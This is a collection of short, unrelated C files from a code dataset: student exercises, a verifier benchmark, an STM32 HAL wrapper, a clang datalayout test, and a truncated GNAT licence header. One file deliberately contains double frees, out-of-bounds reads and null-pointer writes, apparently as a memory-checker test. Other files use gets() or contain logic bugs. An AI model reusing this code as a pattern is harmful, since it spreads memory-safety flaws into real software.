#include <stdio.h> int wcount(char*); int main() { char s[255]; int d; gets(s); d = wcount(s); printf("%d", d); } int wcount(char *s) { int i, q, t; t = 1; q = 0; i = 0; while (s[i] = ' ') { i++; } while ( s[i] != '\n' ) { if (s[i] != ' ') t = 1; else if (t == 1) { t = 0; ++q; } ++i; } return q; }
the_stack_data/122016567.c
#include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <dirent.h> #include <errno.h> int main (int argc, char *argv[]) { struct dirent *entry; struct stat buf; int ret; DIR *dir; if (argc < 3) { fprintf (stderr, "Usage: %s <directory> <file>\n", argv[0]); return 1; } ret = stat (argv[1], &buf); if (ret < 0) { perror ("stat"); return 1; } if (S_ISDIR(buf.st_mode)) { ret = 1; dir = opendir (argv[1]); errno = 0; while ((entry = readdir (dir)) != NULL) { if (strcmp (entry->d_name, argv[2]) == 0) { ret = 0; break; } } if (errno && !entry) { perror ("readdir"); return 1; } closedir (dir); return ret; } fprintf(stderr, "%s is not a directory\n", argv[1]); return 1; }
the_stack_data/15763399.c
#include <stdio.h> void swp(int*, int*); int main(void) { int a = 1, b = 0; printf("Original values: a == %d \t b == %d\n", a, b); printf("==========\n"); //We swap the values swp(&a, &b); printf("The new values are: a == %d \t b == %d\n", a, b); printf("=========\n"); return 0; } void swp(int* x, int* y) { int tmp = *x; *x = *y; *y = tmp; }
the_stack_data/50138093.c
/* * Date: 17.12.2013 * Author: Thomas Ströder */ #include <stdlib.h> extern int __VERIFIER_nondet_int(void); char *(cstrpbrk)(const char *s1, const char *s2) { const char *sc1; const char *s; int c; for (sc1 = s1; *sc1 != '\0'; sc1++) { s = s2; c = *sc1; while (*s != '\0' && *s != (char)c) s++; if (*s != c) return (char *)sc1; } return 0; /* terminating nulls match */ } int main() { int length1 = __VERIFIER_nondet_int(); int length2 = __VERIFIER_nondet_int(); if (length1 < 1) { length1 = 1; } if (length2 < 1) { length2 = 1; } char* nondetString1 = (char*) alloca(length1 * sizeof(char)); char* nondetString2 = (char*) alloca(length2 * sizeof(char)); nondetString1[length1-1] = '\0'; nondetString2[length2-1] = '\0'; cstrpbrk(nondetString1,nondetString2); return 0; }
the_stack_data/182953885.c
/* HAL raised several warnings, ignore them */ #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wunused-parameter" #ifdef STM32F0xx #include "stm32f0xx_hal_i2c_ex.c" #elif STM32F3xx #include "stm32f3xx_hal_i2c_ex.c" #elif STM32F4xx #include "stm32f4xx_hal_i2c_ex.c" #elif STM32F7xx #include "stm32f7xx_hal_i2c_ex.c" #elif STM32G0xx #include "stm32g0xx_hal_i2c_ex.c" #elif STM32G4xx #include "stm32g4xx_hal_i2c_ex.c" #elif STM32H7xx #include "stm32h7xx_hal_i2c_ex.c" #elif STM32L0xx #include "stm32l0xx_hal_i2c_ex.c" #elif STM32L4xx #include "stm32l4xx_hal_i2c_ex.c" #elif STM32L5xx #include "stm32l5xx_hal_i2c_ex.c" #elif STM32MP1xx #include "stm32mp1xx_hal_i2c_ex.c" #elif STM32WBxx #include "stm32wbxx_hal_i2c_ex.c" #endif #pragma GCC diagnostic pop
the_stack_data/443917.c
#include <stdio.h> void heapIf(int num_arr[], int size, int n) { int largest = n, temp; int leftChild = 2 * n + 1; int rightChild = 2 * n + 2; if(leftChild < size && num_arr[leftChild] > num_arr[largest]){ largest = leftChild; } if(rightChild < size && num_arr[rightChild] > num_arr[largest]){ largest = rightChild; } if(largest != n){ temp = num_arr[n]; num_arr[n] = num_arr[largest]; num_arr[largest] = temp; heapIf(num_arr, size, largest); } } void heapSort(int num_arr[], int s){ int temp; for(int c = s / 2 -1; c >= 0; c--){ heapIf(num_arr, s, c); } for(int c = s - 1; c >= 0; c--){ temp = num_arr[0]; num_arr[0] = num_arr[c]; num_arr[c] = temp; heapIf(num_arr, c, 0); } } void printArray(int num_arr[], int s){ for(int c = 0; c < s; c++){ printf("%d, ", num_arr[c]); } printf("\n"); } int main() { printf("Heapsort \n"); int num_arr[] = {12, 33, 10, 45, 3, 15}; int size = sizeof(num_arr)/sizeof(num_arr[0]); heapSort(num_arr, size); printf("Sorting completed \n"); printArray(num_arr, size); return 0; }
the_stack_data/165584.c
// The author believes it has <5> memory errors #include <stdio.h> #include <stdlib.h> int main(){ int var; int arr[3]; arr[0] = 12; arr[1] = 15; arr[2] = 18; var = arr[3]; //array bounds read char *ptr; ptr = (char *)malloc(sizeof(char)*11); free (ptr); free (ptr); //freeing unallocated mem int array[3]; array[0] = 12; array[1] = 5; array[2] = 6; free (array); //freeing non-heap memory char *ptr1 = NULL; printf("%s\n", ptr1); //null pointer read ptr1[1] = 'Q'; //null pointer write int *ptr3 = malloc(3*sizeof(int)); int var1 = ptr[3]; //array bounds read };
the_stack_data/198581976.c
#include <stdio.h> #include <ctype.h> #include <limits.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> void ProcessDouble(int n); int main(int argc, char *argv[]) { if( argc != 2 ) { printf("Please enter the correct input(a number):\n"); //display if incorrect input exit(0); } int i; int proc_num = 2 * atoi(argv[1]); // to create 2*n process for(i = 0; i < proc_num; i++) { pid_t res = fork(); if (res < 0) { perror("fork"); exit(EXIT_FAILURE); } if(res == 0) { ProcessDouble(i); exit(0); } else{ wait(NULL); //wait until sub-process done } } return 0; } void ProcessDouble(int n) { int pid = getpid(); printf("I am process %d and my process ID is %d\n", n + 1, pid); //display process ID }
the_stack_data/15762011.c
/** * \file * \brief [Problem 5](https://projecteuler.net/problem=5) solution - Naive * algorithm (Improved over problem_5/sol1.c) * @details Little bit improved version of the naive `problem_5/sol1.c`. Since * the number has to be divisable by 20, we can start at 20 and go in 20 steps. * Also we don't have to check against any number, since most of them are * implied by other divisions (i.e. if a number is divisable by 20, it's also * divisable by 2, 5, and 10). This all gives a 97% perfomance increase on my * machine (9.562 vs 0.257) * * \see Slower: problem_5/sol1.c * \see Faster: problem_5/sol3.c */ #include <stdio.h> #include <stdlib.h> /** * @brief Hack to store divisors between 1 & 20 */ static unsigned int divisors[] = { 11, 13, 14, 16, 17, 18, 19, 20, }; /** Checks if a given number is devisable by every number between 1 and 20 * @param n number to check * @returns 0 if not divisible * @returns 1 if divisible */ static int check_number(unsigned long long n) { for (size_t i = 0; i < 7; ++i) { if (n % divisors[i] != 0) { return 0; } } return 1; } /** * @brief Main function * * @return 0 on exit */ int main(void) { for (unsigned long long n = 20;; n += 20) { if (check_number(n)) { printf("Result: %llu\n", n); break; } } return 0; }
the_stack_data/22011433.c
#include <stdio.h> int main() { int n = 5; for(int i = n; i >= 1; i--) { for(int j = 1; j <= i; j++) { printf("%d ", j); } printf("\n"); } return 0; }
the_stack_data/72179.c
// The Expat License // // Copyright (c) 2017, Shlomi Fish // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. #include <string.h> #include <math.h> #include <stdint.h> #include <stdio.h> #define limit 2000000 int8_t bitmask[(limit+1)/8/2]; int main(int argc, char * argv[]) { int half, p, i; int half_limit; int loop_to; long long sum = 0 + 2; memset(bitmask, '\0', sizeof(bitmask)); loop_to=(((int)(sqrt(limit)))>>1); half_limit = (limit-1)>>1; for (half=1 ; half <= loop_to ; half++) { if (! ( bitmask[half>>3]&(1 << (half&(8-1))) ) ) { /* It is a prime. */ p = (half << 1)+1; sum += p; for (i = ((p*p)>>1) ; i < half_limit ; i+=p ) { bitmask[i>>3] |= (1 << (i&(8-1))); } } } for( ; half < half_limit ; half++) { if (! ( bitmask[half>>3]&(1 << (half&(8-1))) ) ) { sum += (half<<1)+1; } } printf("%lli\n", sum); return 0; }
the_stack_data/176705241.c
/* 5-17-1.c int a=6, int b=3; */
the_stack_data/14200106.c
int lengthOfLongestSubstring(char * s){ int h[256] = {0}; int k, i = 0, j = 0, r = 0, t = 0, p = 0; while (s[i] != '\0') { k = s[i]; if (h[k] > 0) { p = h[k] - 1; h[k] = i + 1; j = i - t; while (j < p) { k = s[j]; h[k] = 0; j++; } if (t > r) r = t; t = i - p; } else { h[k] = i + 1; t++; } i++; } if (t > r) r = t; return r; }
the_stack_data/518879.c
// RUN: %clang_cc1 -triple i686-unknown-unknown -emit-llvm -o - %s | \ // RUN: FileCheck --check-prefix=I686-UNKNOWN %s // I686-UNKNOWN: target datalayout = "e-m:e-p:32:32-p270:32:32-p271:32:32-p272:64:64-f64:32:64-f80:32-n8:16:32-S128" // RUN: %clang_cc1 -triple i686-apple-darwin9 -emit-llvm -o - %s | \ // RUN: FileCheck --check-prefix=I686-DARWIN %s // I686-DARWIN: target datalayout = "e-m:o-p:32:32-p270:32:32-p271:32:32-p272:64:64-f64:32:64-f80:128-n8:16:32-S128" // RUN: %clang_cc1 -triple i686-unknown-win32 -emit-llvm -o - %s | \ // RUN: FileCheck --check-prefix=I686-WIN32 %s // I686-WIN32: target datalayout = "e-m:x-p:32:32-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:32-n8:16:32-a:0:32-S32" // RUN: %clang_cc1 -triple i686-unknown-cygwin -emit-llvm -o - %s | \ // RUN: FileCheck --check-prefix=I686-CYGWIN %s // I686-CYGWIN: target datalayout = "e-m:x-p:32:32-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:32-n8:16:32-a:0:32-S32" // RUN: %clang_cc1 -triple i686-pc-macho -emit-llvm -o - %s | \ // RUN: FileCheck --check-prefix=I686-MACHO %s // I686-MACHO: target datalayout = "e-m:o-p:32:32-p270:32:32-p271:32:32-p272:64:64-f64:32:64-f80:32-n8:16:32-S128" // RUN: %clang_cc1 -triple x86_64-unknown-unknown -emit-llvm -o - %s | \ // RUN: FileCheck --check-prefix=X86_64 %s // X86_64: target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" // RUN: %clang_cc1 -triple xcore-unknown-unknown -emit-llvm -o - %s | \ // RUN: FileCheck --check-prefix=XCORE %s // XCORE: target datalayout = "e-m:e-p:32:32-i1:8:32-i8:8:32-i16:16:32-i64:32-f64:32-a:0:32-n32" // RUN: %clang_cc1 -triple sparc-sun-solaris -emit-llvm -o - %s | \ // RUN: FileCheck %s --check-prefix=SPARC-V8 // SPARC-V8: target datalayout = "E-m:e-p:32:32-i64:64-f128:64-n32-S64" // RUN: %clang_cc1 -triple sparcv9-sun-solaris -emit-llvm -o - %s | \ // RUN: FileCheck %s --check-prefix=SPARC-V9 // SPARC-V9: target datalayout = "E-m:e-i64:64-n32:64-S128" // RUN: %clang_cc1 -triple mipsel-linux-gnu -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-32EL // RUN: %clang_cc1 -triple mipsisa32r6el-linux-gnu -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-32EL // MIPS-32EL: target datalayout = "e-m:m-p:32:32-i8:8:32-i16:16:32-i64:64-n32-S64" // RUN: %clang_cc1 -triple mips-linux-gnu -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-32EB // RUN: %clang_cc1 -triple mipsisa32r6-linux-gnu -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-32EB // MIPS-32EB: target datalayout = "E-m:m-p:32:32-i8:8:32-i16:16:32-i64:64-n32-S64" // RUN: %clang_cc1 -triple mips64el-linux-gnu -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-64EL // RUN: %clang_cc1 -triple mips64el-linux-gnuabi64 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-64EL // RUN: %clang_cc1 -triple mipsisa64r6el-linux-gnu -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-64EL // RUN: %clang_cc1 -triple mipsisa64r6el-linux-gnuabi64 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-64EL // MIPS-64EL: target datalayout = "e-m:e-i8:8:32-i16:16:32-i64:64-n32:64-S128" // RUN: %clang_cc1 -triple mips64el-linux-gnu -o - -emit-llvm -target-abi n32 \ // RUN: %s | FileCheck %s -check-prefix=MIPS-64EL-N32 // RUN: %clang_cc1 -triple mips64el-linux-gnuabin32 -o - -emit-llvm \ // RUN: %s | FileCheck %s -check-prefix=MIPS-64EL-N32 // RUN: %clang_cc1 -triple mipsisa64r6el-linux-gnu -o - -emit-llvm -target-abi n32 \ // RUN: %s | FileCheck %s -check-prefix=MIPS-64EL-N32 // RUN: %clang_cc1 -triple mipsisa64r6el-linux-gnuabin32 -o - -emit-llvm \ // RUN: %s | FileCheck %s -check-prefix=MIPS-64EL-N32 // MIPS-64EL-N32: target datalayout = "e-m:e-p:32:32-i8:8:32-i16:16:32-i64:64-n32:64-S128" // RUN: %clang_cc1 -triple mips64-linux-gnu -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-64EB // RUN: %clang_cc1 -triple mips64-linux-gnuabi64 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-64EB // RUN: %clang_cc1 -triple mipsisa64r6-linux-gnu -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-64EB // RUN: %clang_cc1 -triple mipsisa64r6-linux-gnuabi64 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-64EB // MIPS-64EB: target datalayout = "E-m:e-i8:8:32-i16:16:32-i64:64-n32:64-S128" // RUN: %clang_cc1 -triple mips64-linux-gnu -o - -emit-llvm %s -target-abi n32 \ // RUN: | FileCheck %s -check-prefix=MIPS-64EB-N32 // RUN: %clang_cc1 -triple mips64-linux-gnuabin32 -o - -emit-llvm %s \ // RUN: | FileCheck %s -check-prefix=MIPS-64EB-N32 // RUN: %clang_cc1 -triple mipsisa64r6-linux-gnu -o - -emit-llvm %s -target-abi n32 \ // RUN: | FileCheck %s -check-prefix=MIPS-64EB-N32 // RUN: %clang_cc1 -triple mipsisa64r6-linux-gnuabin32 -o - -emit-llvm %s \ // RUN: | FileCheck %s -check-prefix=MIPS-64EB-N32 // MIPS-64EB-N32: target datalayout = "E-m:e-p:32:32-i8:8:32-i16:16:32-i64:64-n32:64-S128" // RUN: %clang_cc1 -triple powerpc64-lv2 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=PS3 // PS3: target datalayout = "E-m:e-p:32:32-i64:64-n32:64" // RUN: %clang_cc1 -triple i686-nacl -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=I686-NACL // I686-NACL: target datalayout = "e-m:e-p:32:32-p270:32:32-p271:32:32-p272:64:64-i64:64-n8:16:32-S128" // RUN: %clang_cc1 -triple x86_64-nacl -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=X86_64-NACL // X86_64-NACL: target datalayout = "e-m:e-p:32:32-p270:32:32-p271:32:32-p272:64:64-i64:64-n8:16:32:64-S128" // RUN: %clang_cc1 -triple arm-nacl -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=ARM-NACL // ARM-NACL: target datalayout = "e-m:e-p:32:32-Fi8-i64:64-v128:64:128-a:0:32-n32-S128" // RUN: %clang_cc1 -triple mipsel-nacl -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MIPS-NACL // MIPS-NACL: target datalayout = "e-m:m-p:32:32-i8:8:32-i16:16:32-i64:64-n32-S64" // RUN: %clang_cc1 -triple wasm32-unknown-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=WEBASSEMBLY32 // WEBASSEMBLY32: target datalayout = "e-m:e-p:32:32-i64:64-n32:64-S128-ni:1" // RUN: %clang_cc1 -triple wasm64-unknown-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=WEBASSEMBLY64 // WEBASSEMBLY64: target datalayout = "e-m:e-p:64:64-i64:64-n32:64-S128-ni:1" // RUN: %clang_cc1 -triple lanai-unknown-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=LANAI // LANAI: target datalayout = "E-m:e-p:32:32-i64:64-a:0:32-n32-S64" // RUN: %clang_cc1 -triple powerpc-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=PPC // PPC: target datalayout = "E-m:e-p:32:32-i64:64-n32" // RUN: %clang_cc1 -triple powerpcle-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=PPCLE // PPCLE: target datalayout = "e-m:e-p:32:32-i64:64-n32" // RUN: %clang_cc1 -triple powerpc64-freebsd -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=PPC64-FREEBSD // PPC64-FREEBSD: target datalayout = "E-m:e-i64:64-n32:64" // RUN: %clang_cc1 -triple powerpc64le-freebsd -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=PPC64LE-FREEBSD // PPC64LE-FREEBSD: target datalayout = "e-m:e-i64:64-n32:64" // RUN: %clang_cc1 -triple powerpc64-linux -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=PPC64-LINUX // PPC64-LINUX: target datalayout = "E-m:e-i64:64-n32:64-S128-v256:256:256-v512:512:512" // RUN: %clang_cc1 -triple powerpc64-linux -o - -emit-llvm -target-cpu future %s | \ // RUN: FileCheck %s -check-prefix=PPC64-FUTURE // PPC64-FUTURE: target datalayout = "E-m:e-i64:64-n32:64-S128-v256:256:256-v512:512:512" // RUN: %clang_cc1 -triple powerpc64-linux -o - -emit-llvm -target-cpu pwr10 %s | \ // RUN: FileCheck %s -check-prefix=PPC64-P10 // PPC64-P10: target datalayout = "E-m:e-i64:64-n32:64-S128-v256:256:256-v512:512:512" // RUN: %clang_cc1 -triple powerpc64le-linux -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=PPC64LE-LINUX // PPC64LE-LINUX: target datalayout = "e-m:e-i64:64-n32:64-S128-v256:256:256-v512:512:512" // RUN: %clang_cc1 -triple powerpc64le-linux -o - -emit-llvm -target-cpu future %s | \ // RUN: FileCheck %s -check-prefix=PPC64LE-FUTURE // PPC64LE-FUTURE: target datalayout = "e-m:e-i64:64-n32:64-S128-v256:256:256-v512:512:512" // RUN: %clang_cc1 -triple powerpc64le-linux -o - -emit-llvm -target-cpu pwr10 %s | \ // RUN: FileCheck %s -check-prefix=PPC64LE-P10 // PPC64LE-P10: target datalayout = "e-m:e-i64:64-n32:64-S128-v256:256:256-v512:512:512" // RUN: %clang_cc1 -triple nvptx-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=NVPTX // NVPTX: target datalayout = "e-p:32:32-i64:64-i128:128-v16:16-v32:32-n16:32:64" // RUN: %clang_cc1 -triple nvptx64-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=NVPTX64 // NVPTX64: target datalayout = "e-i64:64-i128:128-v16:16-v32:32-n16:32:64" // RUN: %clang_cc1 -triple r600-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=R600 // R600: target datalayout = "e-p:32:32-i64:64-v16:16-v24:32-v32:32-v48:64-v96:128-v192:256-v256:256-v512:512-v1024:1024-v2048:2048-n32:64-S32-A5-G1" // RUN: %clang_cc1 -triple r600-unknown -target-cpu cayman -o - -emit-llvm %s \ // RUN: | FileCheck %s -check-prefix=R600D // R600D: target datalayout = "e-p:32:32-i64:64-v16:16-v24:32-v32:32-v48:64-v96:128-v192:256-v256:256-v512:512-v1024:1024-v2048:2048-n32:64-S32-A5-G1" // RUN: %clang_cc1 -triple amdgcn-unknown -target-cpu hawaii -o - -emit-llvm %s \ // RUN: | FileCheck %s -check-prefix=R600SI // R600SI: target datalayout = "e-p:64:64-p1:64:64-p2:32:32-p3:32:32-p4:64:64-p5:32:32-p6:32:32-i64:64-v16:16-v24:32-v32:32-v48:64-v96:128-v192:256-v256:256-v512:512-v1024:1024-v2048:2048-n32:64-S32-A5-G1-ni:7" // Test default -target-cpu // RUN: %clang_cc1 -triple amdgcn-unknown -o - -emit-llvm %s \ // RUN: | FileCheck %s -check-prefix=R600SIDefault // R600SIDefault: target datalayout = "e-p:64:64-p1:64:64-p2:32:32-p3:32:32-p4:64:64-p5:32:32-p6:32:32-i64:64-v16:16-v24:32-v32:32-v48:64-v96:128-v192:256-v256:256-v512:512-v1024:1024-v2048:2048-n32:64-S32-A5-G1-ni:7" // RUN: %clang_cc1 -triple arm64-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=AARCH64 // AARCH64: target datalayout = "e-m:e-i8:8:32-i16:16:32-i64:64-i128:128-n32:64-S128" // RUN: %clang_cc1 -triple arm64_32-apple-ios7.0 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=AARCH64-ILP32 // AARCH64-ILP32: target datalayout = "e-m:o-p:32:32-i64:64-i128:128-n32:64-S128" // RUN: %clang_cc1 -triple arm64-pc-win32-macho -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=AARCH64-WIN32-MACHO // AARCH64-WIN32-MACHO: target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128" // RUN: %clang_cc1 -triple thumb-unknown-gnueabi -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=THUMB // THUMB: target datalayout = "e-m:e-p:32:32-Fi8-i64:64-v128:64:128-a:0:32-n32-S64" // RUN: %clang_cc1 -triple arm-unknown-gnueabi -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=ARM // ARM: target datalayout = "e-m:e-p:32:32-Fi8-i64:64-v128:64:128-a:0:32-n32-S64" // RUN: %clang_cc1 -triple thumb-unknown -o - -emit-llvm -target-abi apcs-gnu \ // RUN: %s | FileCheck %s -check-prefix=THUMB-GNU // THUMB-GNU: target datalayout = "e-m:e-p:32:32-Fi8-f64:32:64-v64:32:64-v128:32:128-a:0:32-n32-S32" // RUN: %clang_cc1 -triple arm-unknown -o - -emit-llvm -target-abi apcs-gnu \ // RUN: %s | FileCheck %s -check-prefix=ARM-GNU // ARM-GNU: target datalayout = "e-m:e-p:32:32-Fi8-f64:32:64-v64:32:64-v128:32:128-a:0:32-n32-S32" // RUN: %clang_cc1 -triple arc-unknown-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=ARC // ARC: target datalayout = "e-m:e-p:32:32-i1:8:32-i8:8:32-i16:16:32-i32:32:32-f32:32:32-i64:32-f64:32-a:0:32-n32" // RUN: %clang_cc1 -triple hexagon-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=HEXAGON // HEXAGON: target datalayout = "e-m:e-p:32:32:32-a:0-n16:32-i64:64:64-i32:32:32-i16:16:16-i1:8:8-f32:32:32-f64:64:64-v32:32:32-v64:64:64-v512:512:512-v1024:1024:1024-v2048:2048:2048" // RUN: %clang_cc1 -triple s390x-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ // RUN: %clang_cc1 -triple s390x-unknown -target-cpu z10 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ // RUN: %clang_cc1 -triple s390x-unknown -target-cpu arch8 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ // RUN: %clang_cc1 -triple s390x-unknown -target-cpu z196 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ // RUN: %clang_cc1 -triple s390x-unknown -target-cpu arch9 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ // RUN: %clang_cc1 -triple s390x-unknown -target-cpu zEC12 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ // RUN: %clang_cc1 -triple s390x-unknown -target-cpu arch10 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ // RUN: %clang_cc1 -triple s390x-unknown -target-cpu z13 -target-feature +soft-float -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ // SYSTEMZ: target datalayout = "E-m:e-i1:8:16-i8:8:16-i64:64-f128:64-a:8:16-n32:64" // RUN: %clang_cc1 -triple s390x-unknown -target-cpu z13 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ-VECTOR // RUN: %clang_cc1 -triple s390x-unknown -target-cpu arch11 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ-VECTOR // RUN: %clang_cc1 -triple s390x-unknown -target-cpu z14 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ-VECTOR // RUN: %clang_cc1 -triple s390x-unknown -target-cpu arch12 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ-VECTOR // RUN: %clang_cc1 -triple s390x-unknown -target-cpu z15 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ-VECTOR // RUN: %clang_cc1 -triple s390x-unknown -target-cpu arch13 -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SYSTEMZ-VECTOR // SYSTEMZ-VECTOR: target datalayout = "E-m:e-i1:8:16-i8:8:16-i64:64-f128:64-v128:64-a:8:16-n32:64" // RUN: %clang_cc1 -triple msp430-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=MSP430 // MSP430: target datalayout = "e-m:e-p:16:16-i32:16-i64:16-f32:16-f64:16-a:8-n8:16-S16" // RUN: %clang_cc1 -triple tce-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=TCE // TCE: target datalayout = "E-p:32:32:32-i1:8:8-i8:8:32-i16:16:32-i32:32:32-i64:32:32-f32:32:32-f64:32:32-v64:32:32-v128:32:32-v256:32:32-v512:32:32-v1024:32:32-a0:0:32-n32" // RUN: %clang_cc1 -triple tcele-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=TCELE // TCELE: target datalayout = "e-p:32:32:32-i1:8:8-i8:8:32-i16:16:32-i32:32:32-i64:32:32-f32:32:32-f64:32:32-v64:32:32-v128:32:32-v256:32:32-v512:32:32-v1024:32:32-a0:0:32-n32" // RUN: %clang_cc1 -triple spir-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SPIR // SPIR: target datalayout = "e-p:32:32-i64:64-v16:16-v24:32-v32:32-v48:64-v96:128-v192:256-v256:256-v512:512-v1024:1024" // RUN: %clang_cc1 -triple spir64-unknown -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=SPIR64 // SPIR64: target datalayout = "e-i64:64-v16:16-v24:32-v32:32-v48:64-v96:128-v192:256-v256:256-v512:512-v1024:1024" // RUN: %clang_cc1 -triple bpfel -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=BPFEL // BPFEL: target datalayout = "e-m:e-p:64:64-i64:64-i128:128-n32:64-S128" // RUN: %clang_cc1 -triple bpfeb -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=BPFEB // BPFEB: target datalayout = "E-m:e-p:64:64-i64:64-i128:128-n32:64-S128" // RUN: %clang_cc1 -triple ve -o - -emit-llvm %s | \ // RUN: FileCheck %s -check-prefix=VE // VE: target datalayout = "e-m:e-i64:64-n32:64-S128-v64:64:64-v128:64:64-v256:64:64-v512:64:64-v1024:64:64-v2048:64:64-v4096:64:64-v8192:64:64-v16384:64:64"
the_stack_data/36074492.c
/* * Title: Din egen udgave af funktionen strcmp * Description: * Assignment: Opgave 10.2 * Link to assignment: http://people.cs.aau.dk/~normark/impr-c/strings-strcmp-slide-exercise-1.html * * Programmer: Sebastian Livoni Larsen * Date completed: November 5, 2021 * Instructor: Kurt Nørmark * Class: AAL E21 */ #include <stdio.h> #include <stdlib.h> #include <string.h> int strcmp_rec(char *a, char *b); int main(void) { printf("Stringcompare: %d\n", strcmp_rec("lort", "lort")); } int strcmp_rec(char *a, char *b) { if (strlen(a) > 0 && strlen(b) > 0) { if (a[0] > b[0]) { return -1; } else if (a[0] < b[0]) { return 1; } else { return strcmp_rec(&a[1], &b[1]); } } else { return 0; } }
the_stack_data/499708.c
/**************************************************************************** * * * GNAT COMPILER COMPONENTS * * * * F I N A L * * * * C Implementation File * * * * Copyright (C) 1992-2014, Free Software Foundation, Inc. * * * * GNAT is free software; you can redistribute it and/or modify it under * * terms of the GNU General Public License as published by the Free Soft- * * ware Foundation; either version 3, or (at your option) any later ver- * * sion. GNAT is distributed in the hope that it will be useful, but WITH- * * OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * * or FITNESS FOR A PARTICULAR PURPOSE. * * * * As a special exception under Section 7 of GPL version 3, you are granted * * additional permissions described in the GCC Runtime Library Exception, * * version 3.1, as published by the Free Software Foundation. * * * * You should have received a copy of the GNU General Public License and * * a copy of the GCC Runtime Library Exception along with this program; * * see the files COPYING3 and COPYING.RUNTIME respectively. If not, see * * <http://www.gnu.org/licenses/>. * * * * GNAT was originally developed by the GNAT team at New York University. * * Extensive contributions were provided by 